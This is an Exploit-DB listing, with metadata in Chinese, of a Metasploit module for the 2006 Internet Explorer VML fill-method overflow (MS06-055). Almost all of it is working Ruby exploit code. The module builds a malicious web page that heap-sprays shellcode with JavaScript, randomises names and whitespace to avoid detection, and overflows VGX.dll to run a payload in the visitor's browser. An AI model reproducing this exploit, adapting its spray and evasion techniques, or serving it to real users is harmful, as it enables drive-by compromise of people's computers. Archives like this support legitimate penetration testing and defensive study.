标题: Microsoft Internet Explorer - 'VML' Fill Method Code Execution (MS06-055) (Metasploit) EDB-ID: 16597 CVE: 2006-4868 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: ms06_055_vml_method.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Internet Explorer VML Fill Method Code Execution',
   'Description'    => %q{
     This module exploits a code execution vulnerability in Microsoft Internet Explorer using
    a buffer overflow in the VML processing code (VGX.dll). This module has been tested on
    Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'hdm',
     'Aviv Raff <avivra [at] gmail.com>',
     'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>',
     'Mr.Niega <Mr.Niega [at] gmail.com>',
     'M. Shirk <shirkdog_list [at] hotmail.com>'
    ],
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     ['CVE',   '2006-4868' ],
     ['OSVDB', '28946' ],
     ['MSB',   'MS06-055' ],
     ['BID',   '20096' ],
    ],
   'Payload'        =>
    {
     'Space'          => 1024,
     'BadChars'       => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows NT 4.0 -> Windows 2003 SP1', {'Ret' => 0x0c0c0c0c} ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Sep 19 2006'))
 end

 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Determine the buffer length to use
  buflen = 1024
  if (request.headers['User-Agent'] =~ /Windows 5\.[123]/)
   buflen = 65535
  end

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Get a unicode friendly version of the return address
  addr_word  = [target.ret].pack('V').unpack('H*')[0][0,4]

  # Select a random VML element to use
  vmls = %w{ rect roundrect line polyline oval image arc curve }
  vmlelem = vmls[ rand(vmls.length) ]

  # The overflow buffer for the method attribute
  buffer = ("&#x" + addr_word + ";") * buflen

  # Generate a random XML namespace for VML
  xmlns = rand_text_alpha(rand(30)+2)

  # Randomize the javascript variable names
  var_buffer    = rand_text_alpha(rand(30)+2)
  var_shellcode = rand_text_alpha(rand(30)+2)
  var_unescape  = rand_text_alpha(rand(30)+2)
  var_x         = rand_text_alpha(rand(30)+2)
  var_i         = rand_text_alpha(rand(30)+2)

  # Build out the message
  content = %Q|
<html xmlns:#{xmlns} = " urn:schemas-microsoft-com:vml " >
<head>
<style> #{xmlns}\\:* { behavior: url(#default#VML) ; } </style>
<body>
<script>

 var #{var_unescape}  = unescape ;
 var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;

 var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
 while (#{var_buffer}.length <= 0x400000) #{var_buffer}+=#{var_buffer} ;

 var #{var_x} = new Array() ;
 for ( var #{var_i} =0 ; #{var_i} < 30 ; #{var_i}++ ) {
  #{var_x}[ #{var_i} ] =
   #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
   #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
   #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
   #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
 }

</script>
<#{xmlns}:#{vmlelem}>
 <#{xmlns}:fill method = "#{buffer}" />
</#{xmlns}:#{vmlelem}>

</body>
</html>
  |

  content = Rex::Text.randomize_space(content)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16597